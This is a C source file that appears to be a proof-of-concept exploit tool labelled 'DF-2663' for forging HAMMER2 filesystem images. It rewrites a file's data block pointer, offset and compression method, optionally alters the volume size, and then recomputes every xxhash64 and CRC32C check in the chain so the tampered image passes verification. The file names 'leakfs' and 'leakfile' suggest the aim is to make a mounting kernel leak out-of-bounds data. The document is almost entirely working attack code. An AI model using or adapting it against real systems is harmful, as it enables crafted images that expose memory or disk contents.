/* DF-2663 image forger: retarget leakfile's DATA blockref + fix CRC cascade.
 * Verified block map (base.img, newfs_hammer2 -L leakfs, 256MB):
 *   volhdr sroot bref        @ 0x000200 (check.xxhash64 @ 0x000240) covers 0x1800c00..+1024 (SUPROOT inode)
 *   SUPROOT blockset slot0   @ 0x1800e00 ("leakfs" PFS bref, check @ 0x1800e40) covers 0x1800800..+1024 (PFS root/iroot inode)
 *   iroot blockset slot0     @ 0x1800a00 (leakfile INODE bref, check @ 0x1800a40) covers 0x1800000..+1024 (file inode block)
 *   file inode blockset[0]   @ 0x1800200 (DATA bref, data_off=0x1c00010, methods=0x30)
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#define XXH_STATIC_LINKING_ONLY
#include "xxhash.h"

#define SEED 0x4d617474446c6c6eULL

static uint32_t crc32c_table[256];
static void crc32c_init(void) {
    for (uint32_t n = 0; n < 256; n++) {
        uint32_t c = n;
        for (int k = 0; k < 8; k++)
            c = (c >> 1) ^ ((c & 1) ? 0x82F63B78u : 0);
        crc32c_table[n] = c;
    }
}
static uint32_t crc32c(const unsigned char *b, size_t n) {
    uint32_t crc = 0xFFFFFFFFu;
    for (size_t i = 0; i < n; i++)
        crc = crc32c_table[(crc ^ b[i]) & 0xFF] ^ (crc >> 8);
    return crc ^ 0xFFFFFFFFu;
}

static unsigned char *img;
static size_t imglen;

static void put64(long off, uint64_t v) { memcpy(img + off, &v, 8); }
static uint64_t get64(long off) { uint64_t v; memcpy(&v, img + off, 8); return v; }

static void fix_inode_check(long block, long checkoff) {
    uint64_t v = XXH64(img + block, 1024, SEED);
    put64(checkoff, v);
    printf("check@%#lx (block %#lx) = %016llx\n", checkoff, block, (unsigned long long)v);
}

static void fix_volhdr_crcs(long v) {
    /* icrc_sects[6] (sect1) @ 0x1E0+6*4, [7] (sect0) @ 0x1E0+7*4, icrc_volheader @ 0xFFFC */
    uint32_t c1 = crc32c(img + v + 512, 512);
    memcpy(img + v + 0x1E0 + 6*4, &c1, 4);          /* write sect1 icrc first */
    uint32_t c0 = crc32c(img + v + 0, 512 - 4);      /* covers icrc_sects[6] */
    memcpy(img + v + 0x1E0 + 7*4, &c0, 4);
    uint32_t cv = crc32c(img + v + 0, 65536 - 4);    /* covers everything else */
    memcpy(img + v + 0xFFFC, &cv, 4);
}

int main(int argc, char **argv) {
    if (argc < 6) {
        fprintf(stderr, "usage: %s in.img out.img new_data_off new_methods new_volu_size\n", argv[0]);
        return 2;
    }
    crc32c_init();
    FILE *f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END); imglen = ftell(f); fseek(f, 0, SEEK_SET);
    img = malloc(imglen);
    if (fread(img, 1, imglen, f) != imglen) { perror("read"); return 1; }
    fclose(f);

    uint64_t new_doff = strtoull(argv[3], NULL, 0);
    unsigned new_methods = strtoul(argv[4], NULL, 0) & 0xff;
    uint64_t new_size = strtoull(argv[5], NULL, 0);

    /* sanity: the DATA bref we expect */
    if (img[0x1800200] != 3 || get64(0x1800220) != 0x1c00010ull) {
        fprintf(stderr, "unexpected layout: type=%u doff=%016llx\n",
                img[0x1800200], (unsigned long long)get64(0x1800220));
        return 1;
    }
    /* 1. retarget the DATA bref */
    img[0x1800201] = new_methods;
    put64(0x1800220, new_doff);
    printf("DATA bref @0x1800200 -> data_off=%016llx methods=%02x\n",
           (unsigned long long)new_doff, new_methods);
    /* 2. CRC cascade up the inode chain */
    fix_inode_check(0x1800000, 0x1800a40);
    fix_inode_check(0x1800800, 0x1800e40);
    /* 3. volhdr: sroot check + optional volu_size/total_size + icrcs */
    fix_inode_check(0x1800c00, 0x240);
    if (new_size) {
        put64(0x28, new_size);   /* volu_size */
        put64(0xC0, new_size);   /* total_size (v2) */
        printf("volu_size/total_size -> %016llx\n", (unsigned long long)new_size);
    }
    fix_volhdr_crcs(0);
    /* verify with kernel xxhash */
    printf("verify 0x1800000: %016llx (stored %016llx)\n",
        (unsigned long long)XXH64(img + 0x1800000, 1024, SEED),
        (unsigned long long)get64(0x1800a40));
    f = fopen(argv[2], "wb");
    fwrite(img, 1, imglen, f); fclose(f);
    printf("wrote %s\n", argv[2]);
    return 0;
}